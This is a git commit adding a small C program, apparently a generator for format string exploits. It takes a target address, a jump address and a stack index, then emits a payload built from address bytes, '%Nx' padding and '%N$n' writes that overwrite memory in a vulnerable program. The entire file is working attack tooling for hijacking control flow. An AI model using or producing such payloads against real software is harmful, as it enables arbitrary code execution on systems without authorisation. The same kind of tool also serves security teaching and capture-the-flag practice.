initial commit

1 files changed, 203 insertions, 0 deletions

diff --git a/main.c b/main.c
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index 0000000..690ce83
--- /dev/null
+++ b/main.c
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+/*
+ * Copyright (C) 2014 Olivier Gayot
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ 
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ 
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+
+#include <assert.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sysexits.h>
+#include <stdio.h>
+#include <getopt.h>
+
+unsigned char buffer[4096];
+
+/* address to override */
+static unsigned long override_addr_g;
+
+/* address to jump to */
+static unsigned long jmp_addr_g;
+
+/* index of the element on the stack which is the beginning of the buffer */
+static unsigned int idx_stack_g;
+
+/* assume that an address is 'address_size_g' bytes long */
+static int address_size_g = 4;
+
+    __attribute__((noreturn))
+static void usage(const char *arg0)
+{
+    fprintf(stderr, "usage: %s --override addr --with addr --stackidx idx\n", arg0);
+    fprintf(stderr, "       %s --override addr --with addr --stackidx idx --addrsize size\n", arg0);
+
+    exit(EX_USAGE);
+}
+
+/*
+ * this function uses getopt to parse the options.
+ * it returns 0 on success; otherwise it returns a negative number
+ */
+static int parse_arguments(int argc, char *argv[])
+{
+    bool override_set = false;
+    bool stackidx_set = false;
+    bool with_set = false;
+
+    for (;;) {
+	/* declaration of the options which we handle */
+	enum {
+	    OPT_OVERRIDE,
+	    OPT_WITH,
+	    OPT_STACKIDX,
+	    OPT_ADDR_SIZE,
+	};
+
+	static struct option long_options[] = {
+	    {"override", required_argument, 0, OPT_OVERRIDE},
+	    {"with",     required_argument, 0, OPT_WITH},
+	    {"stackidx", required_argument, 0, OPT_STACKIDX},
+	    {"addrsize", required_argument, 0, OPT_ADDR_SIZE},
+	};
+
+	int option_index;
+	int c = getopt_long(argc, argv, "", long_options, &option_index);
+
+	if (c == -1) {
+	    break;
+	}
+
+	switch (c) {
+	    case OPT_OVERRIDE:
+		override_addr_g = strtoul(optarg, NULL, 16);
+		override_set = true;
+		break;
+	    case OPT_WITH:
+		jmp_addr_g = strtoul(optarg, NULL, 16);
+		with_set = true;
+		break;
+	    case OPT_STACKIDX:
+		idx_stack_g = atoi(optarg);
+		stackidx_set = true;
+		break;
+	    case OPT_ADDR_SIZE:
+		address_size_g = atoi(optarg);
+
+		if (address_size_g < 1 || address_size_g > 8) {
+		    return -1;
+		}
+
+		break;
+	    default:
+		/*
+		 * we must have accessed an option which we do not have
+		 * specified in our switch-case
+		 */
+
+		assert (false);
+
+		break;
+	}
+    }
+
+    if (optind < argc) {
+	return -1;
+    }
+
+    if (!override_set || !stackidx_set || !with_set) {
+	return -1;
+    }
+
+    return 0;
+}
+
+/*
+ * this function returns the number of remaining bytes to write in order to
+ * have a %n printing the expected value
+ */
+static int calc_remaining(unsigned int needed, unsigned int *so_far)
+{
+    int ret;
+
+    assert(needed <= 0xff);
+
+    if (needed >= (*so_far % 0x100)) {
+	ret = needed - (*so_far % 0x100);
+    } else {
+	ret = 0x100 - ((*so_far % 0x100) - needed);
+    }
+
+    *so_far += ret;
+
+    return ret;
+}
+
+int main(int argc, char *argv[])
+{
+#define PUT_ADDR(_offset) \
+    do { \
+	typeof(override_addr_g) override_addr = override_addr_g + _offset * 0x10; \
+	\
+	for (int sh = 0; sh < address_size_g; ++sh) { \
+	    for (int shift = 0; shift < address_size_g; ++shift) { \
+		buffer[i++] = (override_addr >> (shift * 8)) & 0xff; \
+		++written; \
+	    } \
+	    ++override_addr; \
+	} \
+    } while (0);
+
+    unsigned int i = 0;
+    unsigned int written = 0;
+    unsigned int values_pop = 0;
+
+    if (parse_arguments(argc, argv) < 0) {
+	usage(argv[0]);
+    }
+
+    PUT_ADDR(0);
+
+    /* override the address */
+    for (int shift = 0; shift < address_size_g; ++shift) {
+	int remaining;
+
+	if ((remaining = calc_remaining((jmp_addr_g >> (shift * 8)) & 0xff, &written)) < 8) {
+	    memcpy(buffer + i, "ffffffff", remaining);
+	    i += remaining;
+	} else {
+	    i += sprintf((char *)buffer + i, "%%%dx", remaining);
+	    ++values_pop;
+	}
+
+	if (values_pop == idx_stack_g) {
+	    /* (very) unlikely */
+
+	    i += sprintf((char *)buffer + i, "%%n");
+	    ++values_pop;
+	} else {
+	    i += sprintf((char *)buffer + i, "%%%d$n", idx_stack_g);
+	}
+
+	++idx_stack_g;
+    }
+
+    /* we write our payload */
+    fwrite(buffer, 1, i, stdout);
+
+    return 0;
+
+#undef PUT_ADDR
+}